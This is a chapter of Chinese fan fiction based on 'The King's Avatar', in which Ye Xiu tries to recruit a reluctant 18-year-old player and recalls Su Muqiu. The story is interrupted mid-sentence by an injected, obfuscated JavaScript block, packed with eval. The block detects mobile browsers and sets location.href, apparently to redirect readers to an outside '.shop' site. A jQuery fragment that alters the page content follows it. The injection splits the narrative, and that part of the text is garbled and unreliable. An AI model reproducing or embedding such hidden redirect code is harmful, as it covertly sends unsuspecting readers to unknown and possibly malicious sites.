叶修盯着屏幕上的消息，嘴里的烟都掉出来了，他手忙脚乱地去接，烟灰还是撒了一桌子，立刻就被陈果一巴掌拍在背上。
然而，陈果在意的却不是烟灰，她的眼睛几乎都要贴到屏幕上了：“他说的刚成年，是指十八九岁的那种刚成年吗？”
“刚成年还能是什么意思，难不成三十岁才成年？”魏琛叫道，“这下完了，老夫居然被一个小孩绝杀了，这要是传出去，老夫的一世英名往哪放啊？”
“你啥时候有过英名啊？”叶修斜了魏琛一眼，手指飞快地敲击键盘。
【私聊】归去来：你真的刚成年？十八岁？
【私聊】穿林打叶：对啊！
【私聊】归去来：身份证拍来看看？
【私聊】穿林打叶：干嘛，你查户口啊？
【私聊】归去来：你这么年轻，怎么会用扩爆那么古早的技巧？
【私聊】穿林打叶：我看视频学的。
【私聊】归去来：那你看的应该是我早期的视频，这个技巧是我发明的。怎么样，要不要考虑做我的粉丝啊？我免费给你签名照。
叶修转过头来，刚想调侃两句，就看见另外三个人用期待的眼神直勾勾地盯着自己。
“干嘛？”叶修一脸莫名。
魏琛反问：“你说呢？他才十八岁，就能把老夫按在地上摩擦，你知道这意味着什么吗？”
“意味着你真的老了。”叶修回答。
“滚，你真是狗嘴里吐不出象牙。”魏琛说，“这是个天降紫薇星啊！是老天爷送到咱们嘴边的肉啊！你还在这傻坐着干嘛呢，还不赶紧招揽他！”
伍晨也跟着点头：“他现在的水平，去弱队里都能当核心了，如果再训练训练，有朝一日甚至能去豪门强队里当首发的。”
陈果一拍桌子：“能不能有点出息？什么弱队强队的，他哪里也不许去，必须来咱们兴欣！有了他，咱们卫冕冠军不就有希望了？”
三个人你一言我一语地畅想未来，叶修没有搭腔，也没有反驳。
客观来说，他们说得很有道理。
唐柔够有天赋了，但自己手把手地教了一年，她才算是迈入了职业的大门；包子够有灵气了，但现在还在犯一些低级错误，总是让人摸不着头脑；就连方锐和苏沐橙，甚至孙翔、黄少天、周泽楷……这些现役的职业选手们，哪个不是经历了好几个赛季的成长，才能拥有现在的水平的？
而这个穿林打叶，没人教没人带，光凭自己的野路子就能拥有这样的操作和意识，这不是天降紫薇星是什么？
更重要的是，他才十八岁。
叶修看着屏幕里自己的倒影，又转头看了看魏琛，见对方也用同样的神情回看自己，内心不禁涌起了一阵感慨。
十八岁，真是太年轻了，年轻得让人羡慕。他的职业生涯才刚刚开始，他还有足够的时间，他会有无限的可能性。如果再接受一些系统性的训练，未来他会成长为什么样的高手，连叶修也难以想象。
不知道为什么，叶修有一瞬间的恍惚，他想起了自己的十八岁。
那一年，荣耀职业联盟正式成立了，虽然一切都还很粗糙，但所有人都意识到这将是一个巨大的舞台。在陶轩的说服下，自己和苏沐秋一起注册成了职业选手，代表嘉世出战，从此开启了属于斗神一叶之秋的传奇时代。
也是在那一年，苏沐秋永远地离开了他们。
他经常会想，如果苏沐秋还在的话，嘉世一定会更强，荣耀这个游戏一定会更好玩，自己的人生也一定会更有趣……
魏琛叹了一口气：“长江后浪推前浪啊，不服老不行了。”
是啊，不服老不行了，好在自己这个前浪也算是取得了一些成绩了，更辉煌的未来就交给那些年轻人们去创造吧！
叶修笑了笑，开口：“怪不得你从来不开语音，是怕我听出你的声音其实很年轻？”
穿林打叶的消息框里一直显示“正在输入中”，却迟迟没有新消息弹出来，就在叶修以为对方掉线了的时候，耳机里冷不丁地响起了一个清亮的声音。
“你这个脑洞大的毛病真的该改改了。”
的确是很年轻的声音，音调柔和却有力量，句尾隐隐带着一丝上扬，有一种朝气蓬勃的生机。
“靠，还真是个小朋友！”魏琛大叫。
“和你老人家比起来，谁都是小朋友吧！”穿林打叶回道。
“你说垃圾话的水平也是职业级嘛。”叶修不厚道地笑了两声，“怎么样，有没有兴趣做职业选手？来我们兴欣吧！”
穿林打叶一秒钟都没有犹豫：“没兴趣。”
叶修像是没听见对方的回复一样，自顾自地说：“我们虽然不是什么豪门战队，但实力也是很强的，上赛季可是创造了历史呢。这赛季我们的条件更好了，老板娘人美心善又大方，绝对不会亏待你的。”
“我说了，没兴趣。”穿林打叶还是那句话。
“为什么？”叶修问。
“不想就是不想，哪有为什么？”穿林打叶回答，“我还有事，先下了。”
下一秒，穿林打叶的身影就从竞技场里消失了，头像也变成了灰色，看起来是直接原地下线了。
“跑得比兔子还快。”叶修靠在椅背上，伸了个懒腰，“好了好了，都散了吧，该干嘛干嘛去，人家拒绝了。”
陈果瞪大了眼睛：“你这就放弃了？你那些忽悠人的话呢？当初把其他人骗进战队的时候不是一套一套的吗？”
“喂喂，什么叫骗啊，太难听了！”叶修抗议道，“谁说我放弃了，我明明还没开始呢。”
第二天晚上八点，叶修准时上线，和穿林打叶一起下副本、做任务、分材料、抢boss，全程都一副无事发生的样子。直到穿林打叶要下线了，叶修突然开口问道：“你白天不上线，是要上课吗？高中生还是大学生？”
“嗯，大一。”
“什么专业？”
穿林打叶犹豫了一下，还是回答了：“计算机。”
叶修感叹：“哟，好专业啊，有前途！以后打算当程序员吗？会不会太没意思了，不如来打职业比赛，多有趣！”
“打游戏确实有趣，但能当饭吃吗？”穿林打叶反问。
叶修回答：“能啊，我这不是吃得挺好的吗？”
“那也是青春饭。”穿林打叶无语地说，“再说了，这世上能有几个叶修？一年只有一个冠军，那些没拿到冠军的人呢？”
“没拿到冠军的人也没饿死啊！”叶修说，“不信你去问张佳乐，他年薪好几百万呢！”
耳机里传来一声轻哼：“你倒是挺会偷换概念的。职业选手赚得确实挺多，但能赚几年？过了二十五岁就是老将了。”
叶修轻声嘀咕，“你才十八岁，想什么二十五岁以后的事情，累不累？”
“人无远虑，必有近忧。”
这种老气横秋的话从一个年轻人的嘴里说出来，有种故作深沉的感觉，让叶修觉得莫名好笑。他问：“你玩荣耀就只是为了打发时间吗？难道从来没想过去职业的舞台上试试看？”
对面沉默了很久，叶修几乎都能想象出一个少年对着电脑屏幕皱眉思考的样子。终于，穿林打叶再次开口：“当然想过，很久以前就想过，但想过不代表就要去做，不是每个人都有这个机会的。当职业选手是很酷，但它对大多数人来说只是个永远都无法实现的梦，对我来说也是如此。”
“机会不就在眼前吗？”叶修纳闷地问。
穿林打叶似乎不想再继续这个话题，快速地收尾：“总之，我还有一些事情没想清楚，所以不能答应你的邀请。对我来说，未来有太多的不确定性，而我的时间却很宝贵，我不想做出错误的决定。”
叶修沉默了，他突然想起了十年前。
那是一个夏天的傍晚，出租屋里没有空调，老旧的电风扇吹出来的都是热风，两个人干脆打着赤膊。为了省钱，两个人分着吃一碗泡面，把冰箱里仅剩的蔬菜都留给苏沐橙，但两个人一点都不觉得辛苦，因为荣耀职业联盟刚刚成立了。
苏沐秋不停地重复：“咱们俩搭档肯定是大杀四方，到时候拿个三连冠，有钱了就天天吃大餐！”
那时候，他们觉得困难和拮据只是暂时的，未来还有无限的可能性。可惜，计划赶不上变化，不是所有的梦想都会实现，也不是所有人都拥有未来。
“人生本来就充满了不确定性，没有人能预测未来。”叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292614|198524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
修缓缓开口，语气是少有的深沉，“如果每件事都要确保万无一失才能去做，那活着岂不是太无趣了？出错了又怎么样，失败了又怎么样，从头再来不就行了？”
“你这是站着说话不腰疼。”穿林打叶似乎笑了笑，“你不是我，你不知道我的……”
“我是不知道。”叶修也笑了，恢复了平时那种懒洋洋的语调，“但我至少知道，你的技术绝对足以在职业圈闯出一片天地，职业选手对你来说并不是遥不可及的梦。你该不会是担心打游戏影响读书吧？”
穿林打叶立刻回答：“你就当我是吧，你就当我是想要读大学，找工作，过按部就班的生活，所以我真的没时间打职业。”
叶修知道对方只是随便找了个借口敷衍自己，但他还是顺着这个话题解释道：“读书和打游戏不冲突啊！我们兴欣有两个大学生呢！”
“啊？”
“真的，我们的牧师和召唤师都是正儿八经的重点大学生，平时就在学校里上课考试，比赛季照样上场比赛，战队的训练都特意给他们俩协调时间。”
穿林打叶又沉默了。
叶修趁热打铁：“你考虑考虑呗，不用立刻答应，方便的话可以来兴欣参观一下，近距离感受一下职业战队的氛围。”
“最近他们不是都在外地打比赛吗？”
“那不是还有我和老魏嘛！退役的职业选手也是职业选手啊！”
“我没兴趣围观垃圾话对决。”穿林打叶的声音里透出浓浓的无奈，“我明天早课，我先下了。”
叶修发了个再见的表情，也关了荣耀准备睡觉了，一回头正好看见陈果站在自己背后，差点没吓得摔一跤。
陈果问：“怎么样？”
“还能怎么样，当然是吓死了！老板娘，你半夜不睡觉贴个面膜站在我背后，吓死人了！”叶修抱怨。
“谁问你这个了！他愿意来咱们战队吗？”
叶修无奈地摊开双手：“人家好像有别的人生规划，好好读大学，找个好工作之类的。”
“读书有打职业赚钱吗！”陈果脱口而出，然后立刻意识到这话的价值观不太正确，又补充道，“我的意思是，以他的天赋，打职业也不耽误他读书啊！完全可以像罗辑和小安那样，这些都是可以商量的嘛！”
“老板娘，不是所有人打游戏都是为了做职业选手的，也不是所有人都觉得这是个正经职业的。以前我们俩也一直希望沐橙能……”叶修说到一半却戛然而止，从口袋里掏出一根烟，拿在指尖转来转去。
陈果追问：“沐橙怎么了？”
叶修回答：“那时候沐橙还小，我们俩经常讨论她的未来，沐秋其实不太希望她和我们俩一样做职业选手，而是希望她好好读书，找个稳定工作。”
陈果愣了一下，不知道该怎么接话。
“不过她自己选择了这条路，也挺好的，对吧？每个人都有权利选择自己的人生。”叶修又转头看了眼电脑屏幕，“年轻人谨慎一点不是坏事，他想考虑清楚，那就给他时间考虑清楚吧，反正我有的是耐心。”
“他能想清楚吗？”陈果紧皱着眉头，看起来一脸担忧。
叶修点点头，语气平淡却笃定：“他会想清楚的，真正喜欢荣耀的人，不会甘心于只在网游里做个普通玩家的。”
陈果没再说什么，慢悠悠地离开了训练室，顺手关掉了空调。叶修关掉显示器，一个人靠在椅背上慢慢地闭上了眼睛。
黑暗中，他仿佛又回到了那个狭小的出租屋里，老旧风扇在吱呀呀地转动，把薄薄的床单吹起了一角，空气中弥漫着泡面的香气，汗水的咸味，还有某个人打了胜仗之后得意的笑声。
叶修其实很少刻意去回忆往事，他不是这样的性格，但那家伙却存在感十足，就像是从未离开过一样，甚至比以前活着的时候还要如影随形。
当他升级千机伞的时候，当他重新站上职业舞台的时候，当他举起总冠军的奖杯时，他都会觉得那家伙好像就在他身边。
荣耀本身大概就是那家伙存在过的最大证据。
训练室里静悄悄的，叶修转过头去，盯着身边的空椅子笑了笑，仿佛那个人就坐在那里，正懒洋洋地趴在桌上，等待下一局PK的开始。